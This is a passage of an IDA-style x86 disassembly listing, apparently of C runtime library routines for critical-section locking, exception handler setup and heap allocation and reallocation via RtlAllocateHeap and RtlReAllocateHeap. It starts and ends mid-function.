jz short loc_423247
cmp [ebp+var_4], 1
jz short loc_423247
mov edx, [ebp+var_4]
mov eax, ds:dword_451AF0[edx*4]
push eax
call ds:dword_4F53B0 ; RtlDeleteCriticalSection
push 2
mov ecx, [ebp+var_4]
mov edx, ds:dword_451AF0[ecx*4]
push edx
call sub_41CA10
add esp, 8
loc_423247: ; CODE XREF: sub_4231E0+27j
; sub_4231E0+2Dj ...
jmp short loc_4231ED
; ---------------------------------------------------------------------------
loc_423249: ; CODE XREF: sub_4231E0+1Aj
mov eax, ds:off_451B14
push eax
call ds:dword_4F53B0 ; RtlDeleteCriticalSection
mov ecx, ds:off_451B24
push ecx
call ds:dword_4F53B0 ; RtlDeleteCriticalSection
mov edx, ds:off_451B34
push edx
call ds:dword_4F53B0 ; RtlDeleteCriticalSection
mov eax, ds:off_451AF4
push eax
call ds:dword_4F53B0 ; RtlDeleteCriticalSection
mov esp, ebp
pop ebp
retn
sub_4231E0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_423280 proc near ; CODE XREF: sub_41BEC0+25p
; sub_41C360+25p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
cmp ds:dword_451AF0[eax*4], 0
jnz short loc_423302
push 0E1h
push offset aMlock_c ; "mlock.c"
push 2
push 18h
call sub_41BE70
add esp, 10h
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jnz short loc_4232BA
push 11h
call sub_422270
add esp, 4
loc_4232BA: ; CODE XREF: sub_423280+2Ej
push 11h
call sub_423280
add esp, 4
mov ecx, [ebp+arg_0]
cmp ds:dword_451AF0[ecx*4], 0
jnz short loc_4232EA
mov edx, [ebp+var_4]
push edx
call ds:dword_4F54A4 ; InitializeCriticalSection
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_4]
mov ds:dword_451AF0[eax*4], ecx
jmp short loc_4232F8
; ---------------------------------------------------------------------------
loc_4232EA: ; CODE XREF: sub_423280+4Fj
push 2
mov edx, [ebp+var_4]
push edx
call sub_41CA10
add esp, 8
loc_4232F8: ; CODE XREF: sub_423280+68j
push 11h
call sub_423320
add esp, 4
loc_423302: ; CODE XREF: sub_423280+Fj
mov eax, [ebp+arg_0]
mov ecx, ds:dword_451AF0[eax*4]
push ecx
call ds:dword_4F53A8 ; RtlEnterCriticalSection
mov esp, ebp
pop ebp
retn
sub_423280 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_423320 proc near ; CODE XREF: sub_41BF1D+2p
; sub_41C3C3+2p ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
mov ecx, ds:dword_451AF0[eax*4]
push ecx
call ds:dword_4F53A4 ; RtlLeaveCriticalSection
pop ebp
retn
sub_423320 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
mov eax, [ebp+8]
push eax
push 0
call ds:dword_4F54A8 ; FatalAppExitA
push 0FFh
call ds:off_4F5338
pop ebp
retn
; ---------------------------------------------------------------------------
push esi
inc ebx
xor dh, [eax]
pop eax
inc ebx
xor [eax], dh
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_423364 proc near ; DATA XREF: sub_41BEC0+Ao
; sub_41C360+Ao ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
push ebp
cld
mov ebx, [ebp+arg_4]
mov eax, [ebp+arg_0]
test dword ptr [eax+4], 6
jnz loc_423404
mov [ebp+var_8], eax
mov eax, [ebp+arg_8]
mov [ebp+var_4], eax
lea eax, [ebp+var_8]
mov [ebx-4], eax
mov esi, [ebx+0Ch]
mov edi, [ebx+8]
loc_423397: ; CODE XREF: sub_423364+90j
cmp esi, 0FFFFFFFFh
jz short loc_4233FD
lea ecx, [esi+esi*2]
cmp dword ptr [edi+ecx*4+4], 0
jz short loc_4233EB
push esi
push ebp
lea ebp, [ebx+10h]
call dword ptr [edi+ecx*4+4]
pop ebp
pop esi
mov ebx, [ebp+arg_4]
or eax, eax
jz short loc_4233EB
js short loc_4233F6
mov edi, [ebx+8]
push ebx
call sub_420730
add esp, 4
lea ebp, [ebx+10h]
push esi
push ebx
call sub_420772
add esp, 8
lea ecx, [esi+esi*2]
push 1
mov eax, [edi+ecx*4+8]
call sub_420806
mov eax, [edi+ecx*4]
mov [ebx+0Ch], eax
call dword ptr [edi+ecx*4+8]
loc_4233EB: ; CODE XREF: sub_423364+40j
; sub_423364+52j
mov edi, [ebx+8]
lea ecx, [esi+esi*2]
mov esi, [edi+ecx*4]
jmp short loc_423397
; ---------------------------------------------------------------------------
loc_4233F6: ; CODE XREF: sub_423364+54j
mov eax, 0
jmp short loc_423419
; ---------------------------------------------------------------------------
loc_4233FD: ; CODE XREF: sub_423364+36j
mov eax, 1
jmp short loc_423419
; ---------------------------------------------------------------------------
loc_423404: ; CODE XREF: sub_423364+18j
push ebp
lea ebp, [ebx+10h]
push 0FFFFFFFFh
push ebx
call sub_420772
add esp, 8
pop ebp
mov eax, 1
loc_423419: ; CODE XREF: sub_423364+97j
; sub_423364+9Ej
pop ebp
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_423364 endp
; ---------------------------------------------------------------------------
push ebp
mov ecx, [esp+8]
mov ebp, [ecx]
mov eax, [ecx+1Ch]
push eax
mov eax, [ecx+18h]
push eax
call sub_420772
add esp, 8
pop ebp
retn 4
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_423440 proc near ; CODE XREF: sub_423830+33p
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov eax, ds:dword_4F3374
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_423460
add esp, 8
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn
sub_423440 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_423460 proc near ; CODE XREF: sub_423440+Ep
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
cmp [ebp+arg_0], 0FFFFFFE0h
jbe short loc_42346E
xor eax, eax
jmp short loc_4234B3
; ---------------------------------------------------------------------------
loc_42346E: ; CODE XREF: sub_423460+8j
; sub_423460:loc_4234B1j
cmp [ebp+arg_0], 0FFFFFFE0h
ja short loc_423485
mov eax, [ebp+arg_0]
push eax
call sub_4234C0
add esp, 4
mov [ebp+var_4], eax
jmp short loc_42348C
; ---------------------------------------------------------------------------
loc_423485: ; CODE XREF: sub_423460+12j
mov [ebp+var_4], 0
loc_42348C: ; CODE XREF: sub_423460+23j
cmp [ebp+var_4], 0
jnz short loc_423498
cmp [ebp+arg_4], 0
jnz short loc_42349D
loc_423498: ; CODE XREF: sub_423460+30j
mov eax, [ebp+var_4]
jmp short loc_4234B3
; ---------------------------------------------------------------------------
loc_42349D: ; CODE XREF: sub_423460+36j
mov ecx, [ebp+arg_0]
push ecx
call sub_423170
add esp, 4
test eax, eax
jnz short loc_4234B1
xor eax, eax
jmp short loc_4234B3
; ---------------------------------------------------------------------------
loc_4234B1: ; CODE XREF: sub_423460+4Bj
jmp short loc_42346E
; ---------------------------------------------------------------------------
loc_4234B3: ; CODE XREF: sub_423460+Cj
; sub_423460+3Bj ...
mov esp, ebp
pop ebp
retn
sub_423460 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4234C0 proc near ; CODE XREF: sub_41BF80+19Dp
; sub_423460+18p
var_1C = dword ptr -1Ch
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
; FUNCTION CHUNK AT 00423530 SIZE 00000077 BYTES
; FUNCTION CHUNK AT 004235B2 SIZE 0000005B BYTES
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_43D048
push offset sub_423364
mov eax, large fs:0
push eax
mov large fs:0, esp
add esp, 0FFFFFFF4h
push ebx
push esi
push edi
cmp ds:dword_4F39EC, 3
jnz short loc_423543
mov eax, [ebp+arg_0]
cmp eax, ds:dword_4F3A0C
ja short loc_42353E
push 9
call sub_423280
add esp, 4
mov [ebp+var_4], 0
mov ecx, [ebp+arg_0]
push ecx
call sub_424790
add esp, 4
mov [ebp+var_1C], eax
mov [ebp+var_4], 0FFFFFFFFh
call sub_423525
jmp short loc_423530
sub_4234C0 endp
; =============== S U B R O U T I N E =======================================
sub_423525 proc near ; CODE XREF: sub_4234C0+5Ep
; DATA XREF: _1:0043D050o
push 9
call sub_423320
add esp, 4
retn
sub_423525 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4234C0
loc_423530: ; CODE XREF: sub_4234C0+63j
cmp [ebp+var_1C], 0
jz short loc_42353E
mov eax, [ebp+var_1C]
jmp loc_4235FC
; ---------------------------------------------------------------------------
loc_42353E: ; CODE XREF: sub_4234C0+35j
; sub_4234C0+74j
jmp loc_4235D1
; ---------------------------------------------------------------------------
loc_423543: ; CODE XREF: sub_4234C0+2Aj
cmp ds:dword_4F39EC, 2
jnz loc_4235D1
cmp [ebp+arg_0], 0
jz short loc_423564
mov edx, [ebp+arg_0]
add edx, 0Fh
and edx, 0FFFFFFF0h
mov [ebp+arg_0], edx
jmp short loc_42356B
; ---------------------------------------------------------------------------
loc_423564: ; CODE XREF: sub_4234C0+94j
mov [ebp+arg_0], 10h
loc_42356B: ; CODE XREF: sub_4234C0+A2j
mov eax, [ebp+arg_0]
cmp eax, ds:dword_453BDC
ja short loc_4235BD
push 9
call sub_423280
add esp, 4
mov [ebp+var_4], 1
mov ecx, [ebp+arg_0]
shr ecx, 4
push ecx
call sub_426210
add esp, 4
mov [ebp+var_1C], eax
mov [ebp+var_4], 0FFFFFFFFh
call sub_4235A7
jmp short loc_4235B2
; END OF FUNCTION CHUNK FOR sub_4234C0
; =============== S U B R O U T I N E =======================================
sub_4235A7 proc near ; CODE XREF: sub_4234C0+E0p
; DATA XREF: _1:0043D05Co
push 9
call sub_423320
add esp, 4
retn
sub_4235A7 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4234C0
loc_4235B2: ; CODE XREF: sub_4234C0+E5j
cmp [ebp+var_1C], 0
jz short loc_4235BD
mov eax, [ebp+var_1C]
jmp short loc_4235FC
; ---------------------------------------------------------------------------
loc_4235BD: ; CODE XREF: sub_4234C0+B4j
; sub_4234C0+F6j
mov edx, [ebp+arg_0]
push edx
push 0
mov eax, ds:dword_4F39E8
push eax
call ds:dword_4F5418 ; RtlAllocateHeap
jmp short loc_4235FC
; ---------------------------------------------------------------------------
loc_4235D1: ; CODE XREF: sub_4234C0:loc_42353Ej
; sub_4234C0+8Aj
cmp [ebp+arg_0], 0
jnz short loc_4235DE
mov [ebp+arg_0], 1
loc_4235DE: ; CODE XREF: sub_4234C0+115j
mov ecx, [ebp+arg_0]
add ecx, 0Fh
and ecx, 0FFFFFFF0h
mov [ebp+arg_0], ecx
mov edx, [ebp+arg_0]
push edx
push 0
mov eax, ds:dword_4F39E8
push eax
call ds:dword_4F5418 ; RtlAllocateHeap
loc_4235FC: ; CODE XREF: sub_4234C0+79j
; sub_4234C0+FBj ...
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
; END OF FUNCTION CHUNK FOR sub_4234C0
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_423610 proc near ; CODE XREF: sub_41BF80+79p
; sub_41C3F0+C1p ...
push ebp
mov ebp, esp
mov eax, 1
pop ebp
retn
sub_423610 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_423620 proc near ; CODE XREF: sub_41C3F0+2D4p
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
; FUNCTION CHUNK AT 004236CC SIZE 000000EE BYTES
; FUNCTION CHUNK AT 004237C5 SIZE 00000068 BYTES
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_43D060
push offset sub_423364
mov eax, large fs:0
push eax
mov large fs:0, esp
add esp, 0FFFFFFE0h
push ebx
push esi
push edi
cmp [ebp+arg_4], 0FFFFFFE0h
jbe short loc_423650
xor eax, eax
jmp loc_42381C
; ---------------------------------------------------------------------------
loc_423650: ; CODE XREF: sub_423620+27j
cmp ds:dword_4F39EC, 3
jnz loc_423708
push 9
call sub_423280
add esp, 4
mov [ebp+var_4], 0
mov eax, [ebp+arg_0]
push eax
call sub_4240F0
add esp, 4
mov [ebp+var_20], eax
cmp [ebp+var_20], 0
jz short loc_4236B3
mov [ebp+var_1C], 0
mov ecx, [ebp+arg_4]
cmp ecx, ds:dword_4F3A0C
ja short loc_4236B3
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
push eax
mov ecx, [ebp+var_20]
push ecx
call sub_424FD0
add esp, 0Ch
test eax, eax
jz short loc_4236B3
mov edx, [ebp+arg_0]
mov [ebp+var_1C], edx
loc_4236B3: ; CODE XREF: sub_423620+61j
; sub_423620+73j ...
mov [ebp+var_4], 0FFFFFFFFh
call sub_4236C1
jmp short loc_4236CC
sub_423620 endp
; =============== S U B R O U T I N E =======================================
sub_4236C1 proc near ; CODE XREF: sub_423620+9Ap
; DATA XREF: _1:0043D068o
push 9
call sub_423320
add esp, 4
retn
sub_4236C1 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_423620
loc_4236CC: ; CODE XREF: sub_423620+9Fj
cmp [ebp+var_20], 0
jnz short loc_423703
cmp [ebp+arg_4], 0
jnz short loc_4236DF
mov [ebp+arg_4], 1
loc_4236DF: ; CODE XREF: sub_423620+B6j
mov eax, [ebp+arg_4]
add eax, 0Fh
and al, 0F0h
mov [ebp+arg_4], eax
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+arg_0]
push edx
push 10h
mov eax, ds:dword_4F39E8
push eax
call ds:dword_4F54AC ; RtlReAllocateHeap
mov [ebp+var_1C], eax
loc_423703: ; CODE XREF: sub_423620+B0j
jmp loc_423819
; ---------------------------------------------------------------------------
loc_423708: ; CODE XREF: sub_423620+37j
cmp ds:dword_4F39EC, 2
jnz loc_4237E6
cmp [ebp+arg_4], 0
jnz short loc_423722
mov [ebp+arg_4], 1
loc_423722: ; CODE XREF: sub_423620+F9j
mov ecx, [ebp+arg_4]
add ecx, 0Fh
and ecx, 0FFFFFFF0h
mov [ebp+arg_4], ecx
push 9
call sub_423280
add esp, 4
mov [ebp+var_4], 1
lea edx, [ebp+var_24]
push edx
lea eax, [ebp+var_2C]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_426110
add esp, 0Ch
mov [ebp+var_28], eax
cmp [ebp+var_28], 0
jz short loc_4237AC
mov [ebp+var_1C], 0
mov edx, [ebp+arg_4]
cmp edx, ds:dword_453BDC
ja short loc_423793
mov eax, [ebp+arg_4]
shr eax, 4
push eax
mov ecx, [ebp+var_28]
push ecx
mov edx, [ebp+var_24]
push edx
mov eax, [ebp+var_2C]
push eax
call sub_426880
add esp, 10h
test eax, eax
jz short loc_423793
mov ecx, [ebp+arg_0]
mov [ebp+var_1C], ecx
loc_423793: ; CODE XREF: sub_423620+14Cj
; sub_423620+16Bj
push 0FFFFFFFFh
mov edx, [ebp+var_1C]
mov [ebp+var_30], edx
lea eax, [ebp+var_10]
push eax
call sub_420772
add esp, 8
mov eax, [ebp+var_30]
jmp short loc_42381C
; ---------------------------------------------------------------------------
loc_4237AC: ; CODE XREF: sub_423620+13Aj
mov [ebp+var_4], 0FFFFFFFFh
call sub_4237BA
jmp short loc_4237C5
; END OF FUNCTION CHUNK FOR sub_423620
; =============== S U B R O U T I N E =======================================
sub_4237BA proc near ; CODE XREF: sub_423620+193p
; DATA XREF: _1:0043D074o
push 9
call sub_423320
add esp, 4
retn
sub_4237BA endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_423620
loc_4237C5: ; CODE XREF: sub_423620+198j
cmp [ebp+var_28], 0
jnz short loc_4237E4
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+arg_0]
push edx
push 10h
mov eax, ds:dword_4F39E8
push eax
call ds:dword_4F54AC ; RtlReAllocateHeap
mov [ebp+var_1C], eax
loc_4237E4: ; CODE XREF: sub_423620+1A9j
jmp short loc_423819
; ---------------------------------------------------------------------------
loc_4237E6: ; CODE XREF: sub_423620+EFj
cmp [ebp+arg_4], 0
jnz short loc_4237F3
mov [ebp+arg_4], 1
loc_4237F3: ; CODE XREF: sub_423620+1CAj
mov ecx, [ebp+arg_4]
add ecx, 0Fh
and ecx, 0FFFFFFF0h
mov [ebp+arg_4], ecx
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
push eax
push 10h
mov ecx, ds:dword_4F39E8
push ecx
call ds:dword_4F54AC ; RtlReAllocateHeap
mov [ebp+var_1C], eax
loc_423819: ; CODE XREF: sub_423620:loc_423703j
; sub_423620:loc_4237E4j
mov eax, [ebp+var_1C]
loc_42381C: ; CODE XREF: sub_423620+2Bj
; sub_423620+18Aj
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
; END OF FUNCTION CHUNK FOR sub_423620
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_423830 proc near ; CODE XREF: sub_41C3F0+2AFp
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
; FUNCTION CHUNK AT 00423A03 SIZE 0000020C BYTES
; FUNCTION CHUNK AT 00423C1A SIZE 000000A9 BYTES
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_43D078
push offset sub_423364
mov eax, large fs:0
push eax
mov large fs:0, esp
add esp, 0FFFFFFC8h
push ebx
push esi
push edi
mov eax, [ebp+arg_4]
mov [ebp+var_1C], eax
cmp [ebp+arg_0], 0
jnz short loc_423870
mov ecx, [ebp+arg_4]
push ecx
call sub_423440
add esp, 4
jmp loc_423CB2
; ---------------------------------------------------------------------------
loc_423870: ; CODE XREF: sub_423830+2Dj
cmp [ebp+arg_4], 0
jnz short loc_423889
mov edx, [ebp+arg_0]
push edx
call sub_423CD0
add esp, 4
xor eax, eax
jmp loc_423CB2
; ---------------------------------------------------------------------------
loc_423889: ; CODE XREF: sub_423830+44j
cmp ds:dword_4F39EC, 3
jnz loc_423A6F
loc_423896: ; CODE XREF: sub_423830:loc_423A6Aj
mov [ebp+var_24], 0
cmp [ebp+arg_4], 0FFFFFFE0h
ja loc_423A3C
push 9
call sub_423280
add esp, 4
mov [ebp+var_4], 0
mov eax, [ebp+arg_0]
push eax
call sub_4240F0
add esp, 4
mov [ebp+var_28], eax
cmp [ebp+var_28], 0
jz loc_4239EA
mov ecx, [ebp+arg_4]
cmp ecx, ds:dword_4F3A0C
ja loc_42396A
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
push eax
mov ecx, [ebp+var_28]
push ecx
call sub_424FD0
add esp, 0Ch
test eax, eax
jz short loc_423900
mov edx, [ebp+arg_0]
mov [ebp+var_24], edx
jmp short loc_42396A
; ---------------------------------------------------------------------------
loc_423900: ; CODE XREF: sub_423830+C6j
mov eax, [ebp+arg_4]
push eax
call sub_424790
add esp, 4
mov [ebp+var_24], eax
cmp [ebp+var_24], 0
jz short loc_42396A
mov ecx, [ebp+arg_0]
mov edx, [ecx-4]
sub edx, 1
mov [ebp+var_20], edx
mov eax, [ebp+var_20]
cmp eax, [ebp+arg_4]
jnb short loc_423931
mov ecx, [ebp+var_20]
mov [ebp+var_3C], ecx
jmp short loc_423937
; ---------------------------------------------------------------------------
loc_423931: ; CODE XREF: sub_423830+F7j
mov edx, [ebp+arg_4]
mov [ebp+var_3C], edx
loc_423937: ; CODE XREF: sub_423830+FFj
mov eax, [ebp+var_3C]
push eax
mov ecx, [ebp+arg_0]
push ecx
mov edx, [ebp+var_24]
push edx
call sub_41FBF0
add esp, 0Ch
mov eax, [ebp+arg_0]
push eax
call sub_4240F0
add esp, 4
mov [ebp+var_28], eax
mov ecx, [ebp+arg_0]
push ecx
mov edx, [ebp+var_28]
push edx
call sub_4241B0
add esp, 8
loc_42396A: ; CODE XREF: sub_423830+AAj
; sub_423830+CEj ...
cmp [ebp+var_24], 0
jnz short loc_4239EA
cmp [ebp+arg_4], 0
jnz short loc_42397D
mov [ebp+arg_4], 1
loc_42397D: ; CODE XREF: sub_423830+144j
mov eax, [ebp+arg_4]
add eax, 0Fh
and al, 0F0h
mov [ebp+arg_4], eax
mov ecx, [ebp+arg_4]
push ecx
push 0
mov edx, ds:dword_4F39E8
push edx
call ds:dword_4F5418 ; RtlAllocateHeap
mov [ebp+var_24], eax
cmp [ebp+var_24], 0
jz short loc_4239EA
mov eax, [ebp+arg_0]
mov ecx, [eax-4]
sub ecx, 1
mov [ebp+var_20], ecx
mov edx, [ebp+var_20]
cmp edx, [ebp+arg_4]
jnb short loc_4239C0
mov eax, [ebp+var_20]
mov [ebp+var_40], eax
jmp short loc_4239C6
; ---------------------------------------------------------------------------
loc_4239C0: ; CODE XREF: sub_423830+186j
mov ecx, [ebp+arg_4]
mov [ebp+var_40], ecx
loc_4239C6: ; CODE XREF: sub_423830+18Ej
mov edx, [ebp+var_40]
push edx
mov eax, [ebp+arg_0]
push eax
mov ecx, [ebp+var_24]
push ecx
call sub_41FBF0
add esp, 0Ch
mov edx, [ebp+arg_0]
push edx
mov eax, [ebp+var_28]
push eax
call sub_4241B0
add esp, 8
loc_4239EA: ; CODE XREF: sub_423830+9Bj
; sub_423830+13Ej ...
mov [ebp+var_4], 0FFFFFFFFh
call sub_4239F8
jmp short loc_423A03
sub_423830 endp
; =============== S U B R O U T I N E =======================================
sub_4239F8 proc near ; CODE XREF: sub_423830+1C1p
; DATA XREF: _1:0043D080o
push 9
call sub_423320
add esp, 4
retn
sub_4239F8 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_423830
loc_423A03: ; CODE XREF: sub_423830+1C6j
cmp [ebp+var_28], 0
jnz short loc_423A3C
cmp [ebp+arg_4], 0
jnz short loc_423A16
mov [ebp+arg_4], 1
loc_423A16: ; CODE XREF: sub_423830+1DDj
mov ecx, [ebp+arg_4]
add ecx, 0Fh
and ecx, 0FFFFFFF0h
mov [ebp+arg_4], ecx
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
push eax
push 0
mov ecx, ds:dword_4F39E8
push ecx
call ds:dword_4F54AC ; RtlReAllocateHeap
mov [ebp+var_24], eax
loc_423A3C: ; CODE XREF: sub_423830+71j
; sub_423830+1D7j
cmp [ebp+var_24], 0
jnz short loc_423A4B
cmp ds:dword_4F3374, 0
jnz short loc_423A53
loc_423A4B: ; CODE XREF: sub_423830+210j
mov eax, [ebp+var_24]
jmp loc_423CB2
; ---------------------------------------------------------------------------
loc_423A53: ; CODE XREF: sub_423830+219j
mov edx, [ebp+arg_4]
push edx
call sub_423170
add esp, 4
test eax, eax
jnz short loc_423A6A
xor eax, eax
jmp loc_423CB2
; ---------------------------------------------------------------------------
loc_423A6A: ; CODE XREF: sub_423830+231j
jmp loc_423896
; ---------------------------------------------------------------------------
loc_423A6F: ; CODE XREF: sub_423830+60j
cmp ds:dword_4F39EC, 2
jnz loc_423C4A
cmp [ebp+arg_4], 0FFFFFFE0h
ja short loc_423A9C
cmp [ebp+arg_4], 0
jbe short loc_423A95
mov eax, [ebp+arg_4]
add eax, 0Fh
and al, 0F0h
mov [ebp+arg_4], eax
jmp short loc_423A9C
; ---------------------------------------------------------------------------
loc_423A95: ; CODE XREF: sub_423830+256j
mov [ebp+arg_4], 10h
loc_423A9C: ; CODE XREF: sub_423830+250j
; sub_423830+263j ...
mov [ebp+var_24], 0
cmp [ebp+arg_4], 0FFFFFFE0h
ja loc_423C1A
push 9
call sub_423280
add esp, 4
mov [ebp+var_4], 1
lea ecx, [ebp+var_2C]
push ecx
lea edx, [ebp+var_38]
push edx
mov eax, [ebp+arg_0]
push eax
call sub_426110
add esp, 0Ch
mov [ebp+var_30], eax
cmp [ebp+var_30], 0
jz loc_423BE7
mov ecx, [ebp+arg_4]
cmp ecx, ds:dword_453BDC
jnb loc_423B78
mov edx, [ebp+arg_4]
shr edx, 4
push edx
mov eax, [ebp+var_30]
push eax
mov ecx, [ebp+var_2C]
push ecx
mov edx, [ebp+var_38]
push edx
call sub_426880
add esp, 10h
test eax, eax
jz short loc_423B15
mov eax, [ebp+arg_0]
mov [ebp+var_24], eax
jmp short loc_423B78
; ---------------------------------------------------------------------------
loc_423B15: ; CODE XREF: sub_423830+2DBj
mov ecx, [ebp+arg_4]
shr ecx, 4
push ecx
call sub_426210
add esp, 4
mov [ebp+var_24], eax
cmp [ebp+var_24], 0
jz short loc_423B78
mov edx, [ebp+var_30]
xor eax, eax
mov al, [edx]
shl eax, 4
mov [ebp+var_34], eax
mov ecx, [ebp+var_34]
cmp ecx, [ebp+arg_4]
jnb short loc_423B4A
mov edx, [ebp+var_34]
mov [ebp+var_44], edx
jmp short loc_423B50
; ---------------------------------------------------------------------------
loc_423B4A: ; CODE XREF: sub_423830+310j
mov eax, [ebp+arg_4]
mov [ebp+var_44], eax
loc_423B50: ; CODE XREF: sub_423830+318j
mov ecx, [ebp+var_44]
push ecx
mov edx, [ebp+arg_0]
push edx
mov eax, [ebp+var_24]
push eax
call sub_41FBF0
add esp, 0Ch
mov ecx, [ebp+var_30]
push ecx
mov edx, [ebp+var_2C]
push edx
mov eax, [ebp+var_38]
push eax
call sub_4261A0
add esp, 0Ch
loc_423B78: ; CODE XREF: sub_423830+2B8j
; sub_423830+2E3j ...
cmp [ebp+var_24], 0
jnz short loc_423BE5
mov ecx, [ebp+arg_4]
push ecx
push 0
mov edx, ds:dword_4F39E8
push edx
call ds:dword_4F5418 ; RtlAllocateHeap
mov [ebp+var_24], eax
cmp [ebp+var_24], 0
jz short loc_423BE5
mov eax, [ebp+var_30]
xor ecx, ecx
mov cl, [eax]
shl ecx, 4
mov [ebp+var_34], ecx
mov edx, [ebp+var_34]
cmp edx, [ebp+arg_4]
jnb short loc_423BB7
mov eax, [ebp+var_34]
mov [ebp+var_48], eax
jmp short loc_423BBD
; ---------------------------------------------------------------------------
loc_423BB7: ; CODE XREF: sub_423830+37Dj
mov ecx, [ebp+arg_4]
mov [ebp+var_48], ecx
loc_423BBD: ; CODE XREF: sub_423830+385j
mov edx, [ebp+var_48]
push edx
mov eax, [ebp+arg_0]
push eax
mov ecx, [ebp+var_24]
push ecx
call sub_41FBF0
add esp, 0Ch
mov edx, [ebp+var_30]
push edx
mov eax, [ebp+var_2C]
push eax
mov ecx, [ebp+var_38]
push ecx
call sub_4261A0
add esp, 0Ch
loc_423BE5: ; CODE XREF: sub_423830+34Cj
; sub_423830+368j
jmp short loc_423C01
; ---------------------------------------------------------------------------
loc_423BE7: ; CODE XREF: sub_423830+2A9j
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
push eax
push 0
mov ecx, ds:dword_4F39E8
push ecx
call ds:dword_4F54AC ; RtlReAllocateHeap
mov [ebp+var_24], eax
loc_423C01: ; CODE XREF: sub_423830:loc_423BE5j
mov [ebp+var_4], 0FFFFFFFFh
call sub_423C0F
jmp short loc_423C1A
; END OF FUNCTION CHUNK FOR sub_423830
; =============== S U B R O U T I N E =======================================
sub_423C0F proc near ; CODE XREF: sub_423830+3D8p
; DATA XREF: _1:0043D08Co
push 9
call sub_423320
add esp, 4
retn
sub_423C0F endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_423830
loc_423C1A: ; CODE XREF: sub_423830+277j
; sub_423830+3DDj
cmp [ebp+var_24], 0
jnz short loc_423C29
cmp ds:dword_4F3374, 0
jnz short loc_423C31
loc_423C29: ; CODE XREF: sub_423830+3EEj
mov eax, [ebp+var_24]
jmp loc_423CB2
; ---------------------------------------------------------------------------
loc_423C31: ; CODE XREF: sub_423830+3F7j
mov edx, [ebp+arg_4]
push edx
call sub_423170
add esp, 4
test eax, eax
jnz short loc_423C45
xor eax, eax
jmp short loc_423CB2
; ---------------------------------------------------------------------------
loc_423C45: ; CODE XREF: sub_423830+40Fj
jmp loc_423A9C
; ---------------------------------------------------------------------------
loc_423C4A: ; CODE XREF: sub_423830+246j
; sub_423830:loc_423CB0j
mov [ebp+var_24], 0
cmp [ebp+arg_4], 0FFFFFFE0h
ja short loc_423C88
cmp [ebp+arg_4], 0
jnz short loc_423C64
mov [ebp+arg_4], 1
loc_423C64: ; CODE XREF: sub_423830+42Bj
mov eax, [ebp+arg_4]
add eax, 0Fh
and al, 0F0h
mov [ebp+arg_4], eax
mov ecx, [ebp+arg_4]
